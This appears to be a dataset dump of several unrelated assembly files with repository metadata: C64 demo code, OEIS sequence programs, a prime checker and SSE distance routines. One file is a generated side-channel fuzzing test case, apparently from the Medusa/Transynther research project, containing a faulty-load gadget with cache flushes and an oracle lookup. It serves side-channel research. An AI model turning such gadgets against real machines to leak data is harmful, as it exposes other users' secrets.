00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.960784 | 2,999 | 0.660941 |
4de141b5d1afc41e3e437cdd5ae1f6283960124a | 335 | asm | Assembly | source/index.asm | svkampen/mangela_c64_demo | 1720becce9ac0fd2f9736ab9c342d365b673fe0e | [
"MIT"
] | null | null | null | source/index.asm | svkampen/mangela_c64_demo | 1720becce9ac0fd2f9736ab9c342d365b673fe0e | [
"MIT"
] | null | null | null | source/index.asm | svkampen/mangela_c64_demo | 1720becce9ac0fd2f9736ab9c342d365b673fe0e | [
"MIT"
] | null | null | null | music_addr=$7000
sid_init = $7000
sid_play = $7003
*=music_addr
!bin "source/fallen_down.sid",,$7e
ctr=$4000
clr=$4004
sprite_location=$2000
*=sprite_location
!source "graphics/sprite1.gpx"
!source "graphics/sprites2.asm"
code_addr=$c000
*=code_addr
!source "source/main.asm"
!source "source/rand.asm"
!source "source/sprites.asm"
| 15.952381 | 34 | 0.752239 |
ce4054aaa133681c54b670c6d64dfe0d5ad792c4 | 7,906 | asm | Assembly | Transynther/x86/_processed/NC/_ht_un_/i9-9900K_12_0xa0.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_un_/i9-9900K_12_0xa0.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_un_/i9-9900K_12_0xa0.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x14c6f, %r9
nop
nop
nop
and %rax, %rax
mov (%r9), %edi
nop
nop
nop
nop
cmp $61443, %r15
lea addresses_D_ht+0x11fdf, %r8
nop
and $15646, %r11
mov (%r8), %r9
nop
nop
nop
nop
nop
and $31488, %r8
lea addresses_D_ht+0x14ddf, %r11
nop
nop
nop
add $35285, %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm5
movups %xmm5, (%r11)
nop
sub %r15, %r15
lea addresses_WC_ht+0x69a4, %r8
nop
nop
xor $52273, %r15
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%r8)
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_A_ht+0x7fff, %rax
nop
nop
nop
nop
sub %rbx, %rbx
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
xor $988, %r9
lea addresses_normal_ht+0x10cdf, %r11
nop
xor $9536, %r8
mov (%r11), %ax
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x439f, %rsi
lea addresses_A_ht+0x1d2b7, %rdi
nop
nop
nop
cmp $6034, %r11
mov $49, %rcx
rep movsw
nop
nop
nop
and %r8, %r8
lea addresses_normal_ht+0x47df, %rsi
lea addresses_UC_ht+0xdedf, %rdi
nop
nop
nop
cmp %r11, %r11
mov $9, %rcx
rep movsq
nop
nop
nop
inc %r8
lea addresses_D_ht+0x8fc7, %rsi
lea addresses_WC_ht+0x8b27, %rdi
nop
nop
nop
and %r11, %r11
mov $54, %rcx
rep movsl
nop
nop
nop
nop
nop
and $49772, %r11
lea addresses_UC_ht+0x1e3df, %rbx
and $6297, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%rbx)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_normal_ht+0xbbd7, %rsi
lea addresses_WT_ht+0x7ce3, %rdi
nop
nop
nop
xor $3679, %rax
mov $6, %rcx
rep movsb
nop
nop
nop
nop
xor %r9, %r9
lea addresses_WT_ht+0xd8df, %r15
clflush (%r15)
nop
nop
nop
xor %r9, %r9
mov (%r15), %rax
and $64159, %r8
lea addresses_UC_ht+0x1dd3, %rcx
nop
nop
nop
nop
nop
and $22884, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rcx)
nop
xor %rax, %rax
lea addresses_normal_ht+0x185f, %rsi
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
nop
nop
add $62627, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rcx
// Store
lea addresses_RW+0x124cf, %rcx
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r14
movq %r14, (%rcx)
nop
nop
nop
sub $29858, %r9
// Faulty Load
mov $0x44b0a00000000bdf, %r14
nop
nop
nop
nop
nop
xor $2008, %rcx
movups (%r14), %xmm0
vpextrq $1, %xmm0, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_RW', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'src': {'same': True, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}}
{'44': 3753, '46': 18075, '1f': 1}
44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 44 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 44 46 44 44 46 46 46 44 44 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 44 46 46 46 44 44 46 46 46 46 46 44 44 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 44 44 44 46 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 44 46 46 46 46 46 46 44 46 46 46 46 46 44 46 44 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 44 44 44 44 46 46 44 46 46 46 46 46 44 44 46 46 46 46 44 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 44 46 46 46 46 46 46 44 46 46 46 44 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 46 44 44 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 44 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 44 44 46 46 46 46 44 44 46 46 46 46 46 46 44 46 44 46 46 46 44 46 46 46 46 46 46 44 46 44 46 46 46 46 46 46 46 46 46 44 44 46 44 46 46 46 46 46 44 46 46 46 46 46 44 44 46 46 46 46 46 46 44 46 46 46 44 44 46 46 44 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 44 46 44 46 44 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 44 46 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 46 46 44 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 44 46 46 46 44 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 44 46 46 46 44 46 46 46 44 46 46 46 46 44 46 44 44 46 46 44 44 46 46 46 44 44 46 44 44 46 44 46 46 46 46 46 44 46 46 46 44 44 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 44 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 44 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 44 46 46 46 46 46 46 46 46 46 46 44 46 46 46 44 46 44 44 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 44 44 46 46 44 44 46 46 46 46 46 46 44 46 46 46 44 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 44 46 46 44 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 44 46 46 44 46 46 46 44 44 46 46 46 46 46 46 44 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 44 46 46 46 46 44 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 44 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 44 46 46 46 46 46 46 46 46 44 46 46
*/
| 32.138211 | 2,999 | 0.656716 |
7627be6f8f661578ead569740a68951c07931dd9 | 401 | asm | Assembly | programs/oeis/058/A058224.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/058/A058224.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/058/A058224.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A058224: Largest d such that the linear programming bound for quantum codes of length n is feasible for some real K>1.
; 1,1,1,2,3,3,3,3,3,4,5,5,5,5,5,6,7,7,7,7,7,8,9,9,9,9,9,10,11,11,11,11,11,12,13,13,13,13,13,14,15,15,15,15,15,16,17,17,17,17,17,18,19,19,19,19,19,20,21,21,21,21,21,22,23,23,23,23,23,24,25,25,25,25,25
add $0,3
lpb $0,1
trn $1,$0
trn $0,5
add $0,1
add $1,$0
sub $0,2
lpe
| 33.416667 | 199 | 0.638404 |
269cd7dca32fad7177e6bcb121b67cf5c52157ba | 241 | asm | Assembly | programs/oeis/017/A017539.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/017/A017539.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/017/A017539.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A017539: (12n+1)^7.
; 1,62748517,6103515625,94931877133,678223072849,3142742836021,11047398519097,32057708828125,80798284478113,182803912081669,379749833583241,736141813551277,1347646586640625,2351243277537493
mul $0,12
add $0,1
pow $0,7
| 34.428571 | 189 | 0.838174 |
84a0f4eefa126e75afdb1ed2e71485d44763d05f | 1,114 | asm | Assembly | petscii.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | 1 | 2018-12-26T22:55:37.000Z | 2018-12-26T22:55:37.000Z | petscii.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | null | null | null | petscii.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | null | null | null | // Assembler: KickAssembler v4.19
BasicUpstart2(main)
.var vic = $0000
.var screen = vic + $0400
main:
ldx #0
lda #' '
!l:
sta screen + 0 * $100, x
sta screen + 1 * $100, x
sta screen + 2 * $100, x
sta screen + 3 * $0e8, x
inx
bne !l-
ldx #0
!l:
lda top, x
sta screen + 0 * 40 + 2, x
txa
sta screen + 2 * 40 + 2, x
clc
adc #16
sta screen + 3 * 40 + 2, x
adc #16
sta screen + 4 * 40 + 2, x
adc #16
sta screen + 5 * 40 + 2, x
adc #16
sta screen + 6 * 40 + 2, x
adc #16
sta screen + 7 * 40 + 2, x
adc #16
sta screen + 8 * 40 + 2, x
adc #16
sta screen + 9 * 40 + 2, x
adc #16
sta screen + 10 * 40 + 2, x
adc #16
sta screen + 11 * 40 + 2, x
adc #16
sta screen + 12 * 40 + 2, x
adc #16
sta screen + 13 * 40 + 2, x
adc #16
sta screen + 14 * 40 + 2, x
adc #16
sta screen + 15 * 40 + 2, x
adc #16
sta screen + 16 * 40 + 2, x
adc #16
sta screen + 17 * 40 + 2, x
inx
cpx #16
bne !l-
ldx #0
!l:
lda top, x
!put:
sta screen + 2 * 40
clc
lda !put- + 1
adc #40
sta !put- + 1
bcc !skip+
inc !put- + 2
!skip:
inx
cpx #16
bne !l-
jmp *
top:
.text "0123456789abcdef"
| 14.282051 | 33 | 0.5386 |
763cbdec1778de3b0ed28e29a7aada7962f14a58 | 1,549 | asm | Assembly | 39.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | 39.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | 39.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | [org 0x0100]
jmp start
input: dw 6
prime:
push bp
mov bp, sp
sub sp, 2
push ax
push bx
push cx
push dx
mov word[bp-2], 0
mov bx, [bp+4]
mov cx,bx
loop1:
mov dx,0
mov ax,cx
dec bx
cmp bx,1
je true1
div bx
cmp dx,0
je false1
jmp loop1
true1:
mov word[bp+6], 1 ;moving prime from ax to return value space
jmp end1
false1:
mov word[bp+6],0
end1:
pop dx
pop cx ;restore value of si
pop bx ;restore value of bx
pop ax ;restore value of ax
add sp, 2 ;removing local variable from memory
pop bp ;restoring old value of bp
ret 2 ;removing parameters from stack
adjacent:
push bp
mov bp, sp
sub sp, 2
push bx
push dx
mov word[bp-2], 0 ;initialize local variable to 0
mov bx, [bp+4] ;address of input
loop2:
dec bx
sub sp, 2 ;space for return value
push bx ;push address of input
call prime ;call function
pop dx ;pop return value
cmp dx,0
je loop2
mov [bp+6],bx
end2:
pop dx
pop bx ;restore value of bx
add sp, 2 ;removing local variable from memory
pop bp ;restoring old value of bp
ret 2 ;removing parameters from stack
start:
sub sp, 2 ;space for return value
push word[input] ;push address of input
call prime ;call function
pop dx ;pop return value
cmp dx,0
je exit1
sub sp, 2 ;space for return value
push word[input]
call adjacent
pop dx
exit1:
mov ax, 0x4c00
int 21h
| 14.476636 | 63 | 0.604261 |
d963e51f7d510f5e5f5b2fb16b5be43a2b226db7 | 11,963 | asm | Assembly | first/calc.asm | dkyopwa/ala_rtree | ad53d55c8384ae097671125061a3e5f0484f9003 | [
"Apache-2.0"
] | 3 | 2019-09-10T13:23:11.000Z | 2021-09-16T02:35:38.000Z | first/calc.asm | dkyopwa/ala_rtree | ad53d55c8384ae097671125061a3e5f0484f9003 | [
"Apache-2.0"
] | null | null | null | first/calc.asm | dkyopwa/ala_rtree | ad53d55c8384ae097671125061a3e5f0484f9003 | [
"Apache-2.0"
] | null | null | null | ;
.data
res12 dd 0
res12_1 dd 0
res12_2 dd 0
res12_3 dd 0
res7 dd 0
res7_1 dd 0
res7_2 dd 0
res7_3 dd 0
res2 dd 0
res2_1 dd 0
res2_2 dd 0
res2_3 dd 0
tmp dd 0
tmp_1 dd 0
tmp_2 dd 0
tmp_3 dd 0
.code
; !!! --- current function is only for one thread (distance_sse_v3) --- !!!
distance_sse_v4 proc
; load parameters
movaps xmm0, xmmword ptr [rcx] ; xmm0 = vec1
movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2
; start funstion and load params
; mov qword ptr [rsp+10h],rdx
; mov qword ptr [rsp+8],rcx
; push rbp
; push rdi
; sub rsp,838h
; lea rbp,[rsp+30h]
; mov rdi,rsp
; mov ecx,20Eh
; mov eax,0CCCCCCCCh
; rep stos dword ptr [rdi]
; mov rcx,qword ptr [rsp+858h]
;; mov rax,qword ptr [__security_cookie (07FF62D7EB010h)]
; xor rax,rbp
; mov qword ptr [rbp+7F8h],rax
; __m128 res2 = _mm_movehl_ps(*vec1, *vec1); // px, py, px, py
movaps xmm2,xmm0
movhlps xmm2,xmm0 ; xmm2 = res2
movaps xmmword ptr [res2],xmm2 ; store res2 = res2
; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx(t1(c1)), 4 - wy(t2(c1))
movaps xmm3,xmm0
subps xmm3,xmm1 ; xmm3 = res1
movaps xmm7,xmm3 ; store res1 => mxx7 = res1
; __m128 res3 = _mm_movelh_ps(res1, res1); // vx, vy, vx, vy
movaps xmm4,xmm3 ; store res1
movlhps xmm4,xmm4 ; xmm4 = res3
; __m128 res4 = _mm_sub_ps(res2, *vec1); // t1(c2), t2(c2), 0(unk), 0(unk)
subps xmm2,xmm0 ; xmm2 (res2) = res4
; __m128 res5 = _mm_mul_ps(res3, res1); // vx*vx, vy*vy, wx*vx, wy*vy
mulps xmm4,xmm3 ; xmm4 (res3) = res5
; __m128 res8 = _mm_shuffle_ps(res1, res4, 78); // for sqrt: t1(c1), t2(c1), t1(c2), t2(c2)
shufps xmm3,xmm2,4Eh ; xmm3 (res1) = res8
; __m128 res6 = _mm_shuffle_ps(res5, res5, 245); // vy*vy, vy*vy, wy*wy, wy*wy
movaps xmm5,xmm4
shufps xmm5,xmm5,0F5h ; xmm5 = res6
; __m128 res9 = _mm_mul_ps(res8, res8); // for sqrt: t1(c1)^2, t2(c1)^2, t1(c2)^2, t2(c2)^2
mulps xmm3,xmm3 ; xmm3 (res8) = res9
; __m128 res7 = _mm_add_ps(res5, res6); // c1, unk, c2, unk
addps xmm4,xmm5 ; xmm4 (res5) = res7
movaps xmmword ptr [res7],xmm4
; __m128 res10 = _mm_shuffle_ps(res9, res9, 245); // t2(c1)^2, t2(c1)^2, t2(c2)^2, t2(c2)^2
movaps xmm6,xmm3
shufps xmm6,xmm6,0F5h ; xmm6 = res10
; __m128 res11 = _mm_add_ps(res9, res10); // t1 * t1 + t2 * t2 (c1), unk, t1 * t1 + t2 * t2 (c2), unk
addps xmm3,xmm6 ; xmm3 = res11
; __m128 res12 = _mm_sqrt_ps(res11); // sqrt(c1), unk, sqrt(c2), unk
sqrtps xmm3,xmm3 ; xmm3 = res12
movaps xmmword ptr [res12],xmm3
; if (*(float*)&res7 <= 0) {
; if (0 > *(float*)&res7) than go to next step
xorps xmm0,xmm0
comiss xmm0,dword ptr [res7]
;jnb next1
jb next1
; return ((float*)&res12);
;mov eax, dword ptr [res12]
;movss xmm0,dword ptr [res12]
movss xmm0,xmm3
jmp end_func
next1:
; if (((float*)&res7)[2] <= *(float*)&res7) {
movss xmm0,dword ptr [res7]
comiss xmm0,dword ptr [res7_2]
;jnb next2
jb next2
; return ((float*)&res12)[2];
;mov eax,dword ptr [res12_2]
shufps xmm0,xmm3,0E0h
shufps xmm0,xmm0,0E6h
jmp end_func
next2:
; //coord b = c1 / c2;
; coord b = *(float*)&res7 / ((float*)&res7)[2];
divss xmm4,dword ptr [res7_2] ; xmm4 (res7) = b
;__m128 bb = _mm_set1_ps(b);
shufps xmm4,xmm4,0 ; xmm4 (b) = xmm4 bb (b, b, b, b)
; //pbx = line_p0->x + b * vx;
; //pby = line_p0->y + b * vy;
; res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk
mulps xmm4,xmm7 ; xmm4 = res9
; res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk
movaps xmm5,xmmword ptr [res2] ; for next step
addps xmm4,xmm1 ; xmm4 = res10
; //coord t1 = p->x - pbx;
; //coord t2 = p->y - pby;
; res11 = _mm_sub_ps(res2, res10); // t1, t2, unk, unk
subps xmm5,xmm4 ; xmm5 = res11
; res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk
mulps xmm5,xmm5
movaps xmmword ptr [res12],xmm5 ; xmm5 = res12
; return sqrt(*((float*)&res12) + ((float*)&res12)[1]);
addss xmm5,dword ptr [res12_1]
sqrtss xmm5,xmm5
; prepare for return
;cvtss2sd xmm5,xmm5
;movaps xmmword ptr [res12],xmm5
movss xmm0,xmm5
;movss dword ptr [res12],xmm5 ; result return
;mov eax,dword ptr [res12]
end_func:
; end function
; movdqu xmmword ptr [rsp+20h],xmm0
; lea rcx,[rbp-30h]
;; lea rdx,[__real@447a0000+74Ch (07FF62D7E8040h)]
;; call _RTC_CheckStackVars (07FF62D7D118Bh)
; movdqu xmm0,xmmword ptr [rsp+20h]
; mov rcx,qword ptr [rbp+7F8h]
; xor rcx,rbp
;; call __security_check_cookie (07FF62D7D13CAh)
; lea rsp,[rbp+808h]
; pop rdi
; pop rbp
ret
distance_sse_v4 endp
; --------------------------------------------------------------------------------------
; fuctions calculate distance for multithreads (distance_sse_v3)
distance_sse_v5 proc
; load parameters
movaps xmm0, xmmword ptr [rcx] ; xmm0 = vec1
movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2
mov rdx,r8
; __m128 res2 = _mm_movehl_ps(*vec1, *vec1); // px, py, px, py
movaps xmm2,xmm0
movhlps xmm2,xmm0 ; xmm2 = res2
movaps xmmword ptr [rdx],xmm2 ; store rdx = res2
; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx(t1(c1)), 4 - wy(t2(c1))
movaps xmm3,xmm0
subps xmm3,xmm1 ; xmm3 = res1
movaps xmm7,xmm3 ; store res1 => mxx7 = res1
; __m128 res3 = _mm_movelh_ps(res1, res1); // vx, vy, vx, vy
movaps xmm4,xmm3 ; store res1
movlhps xmm4,xmm4 ; xmm4 = res3
; __m128 res4 = _mm_sub_ps(res2, *vec1); // t1(c2), t2(c2), 0(unk), 0(unk)
subps xmm2,xmm0 ; xmm2 (res2) = res4
; __m128 res5 = _mm_mul_ps(res3, res1); // vx*vx, vy*vy, wx*vx, wy*vy
mulps xmm4,xmm3 ; xmm4 (res3) = res5
; __m128 res8 = _mm_shuffle_ps(res1, res4, 78); // for sqrt: t1(c1), t2(c1), t1(c2), t2(c2)
shufps xmm3,xmm2,4Eh ; xmm3 (res1) = res8
; __m128 res6 = _mm_shuffle_ps(res5, res5, 245); // vy*vy, vy*vy, wy*wy, wy*wyxmmword ptr
movaps xmm5,xmm4
shufps xmm5,xmm5,0F5h ; xmm5 = res6
; __m128 res9 = _mm_mul_ps(res8, res8); // for sqrt: t1(c1)^2, t2(c1)^2, t1(c2)^2, t2(c2)^2
mulps xmm3,xmm3 ; xmm3 (res8) = res9
; __m128 res7 = _mm_add_ps(res5, res6); // c1, unk, c2, unk
addps xmm4,xmm5 ; xmm4 (res5) = res7
mov eax,10h
imul rax,rax,1
movaps xmmword ptr [rdx[rax]],xmm4
;movaps xmmword ptr [res7],xmm4
; __m128 res10 = _mm_shuffle_ps(res9, res9, 245); // t2(c1)^2, t2(c1)^2, t2(c2)^2, t2(c2)^2
movaps xmm6,xmm3
shufps xmm6,xmm6,0F5h ; xmm6 = res10
; __m128 res11 = _mm_add_ps(res9, res10); // t1 * t1 + t2 * t2 (c1), unk, t1 * t1 + t2 * t2 (c2), unk
addps xmm3,xmm6 ; xmm3 = res11
; __m128 res12 = _mm_sqrt_ps(res11); // sqrt(c1), unk, sqrt(c2), unk
sqrtps xmm3,xmm3 ; xmm3 = res12
mov eax,10h
imul rax,rax,2
movaps xmmword ptr [rdx[rax]],xmm3
;movaps xmmword ptr [res12],xmm3
; if (*(float*)&res7 <= 0) {
; if (0 > *(float*)&res7) than go to next step
xorps xmm0,xmm0
mov eax,10h
imul rax,rax,1
comiss xmm0,dword ptr [rdx[rax]]
;comiss xmm0,dword ptr [res7]
jb next1
; return ((float*)&res12);
movss xmm0,xmm3
jmp end_func
next1:
; if (((float*)&res7)[2] <= *(float*)&res7) {
;movss xmm0,dword ptr [res7]
movss xmm0,dword ptr [rdx[rax]]
;comiss xmm0,dword ptr [res7_2]
comiss xmm0,dword ptr [rdx[rax] + 8]
;jnb next2
jb next2
; return ((float*)&res12)[2];
shufps xmm0,xmm3,0E0h
shufps xmm0,xmm0,0E6h
jmp end_func
next2:
; //coord b = c1 / c2;
; coord b = *(float*)&res7 / ((float*)&res7)[2];
;divss xmm4,dword ptr [res7_2] ; xmm4 (res7) = b
divss xmm4,dword ptr [rdx[rax] + 8] ; xmm4 (res7) = b
;__m128 bb = _mm_set1_ps(b);
shufps xmm4,xmm4,0 ; xmm4 (b) = xmm4 bb (b, b, b, b)
; //pbx = line_p0->x + b * vx;
; //pby = line_p0->y + b * vy;
; res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk
mulps xmm4,xmm7 ; xmm4 = res9
; res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk
;movaps xmm5,xmmword ptr [res2] ; for next step
movaps xmm5,xmmword ptr [rdx] ; for next step
addps xmm4,xmm1 ; xmm4 = res10
; //coord t1 = p->x - pbx;
; //coord t2 = p->y - pby;
; res11 = _mm_sub_ps(res2, res10); // t1, t2, unk, unk
subps xmm5,xmm4 ; xmm5 = res11
mov eax,10h
imul rax,rax,2
; res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk
mulps xmm5,xmm5
;movaps xmmword ptr [res12],xmm5 ; xmm5 = res12
movaps xmmword ptr [rdx[rax]],xmm5 ; xmm5 = res12
; return sqrt(*((float*)&res12) + ((float*)&res12)[1]);
;addss xmm5,dword ptr [res12_1]
addss xmm5,dword ptr [rdx[rax] + 4]
sqrtss xmm5,xmm5
movss xmm0,xmm5
end_func:
; end function
ret
distance_sse_v5 endp
; --------------------------------------------------------------------------------------
; fuctions calculate distance (distance_sse_v2)
distance_sse_v6 proc
; load parameters
movaps xmm0, xmmword ptr [rcx] ; xmm0 (xmm2) = vec1
movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2
movaps xmm2, xmm0 ; copy for other steps xmm2 = vec1
; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx, 4 - wy
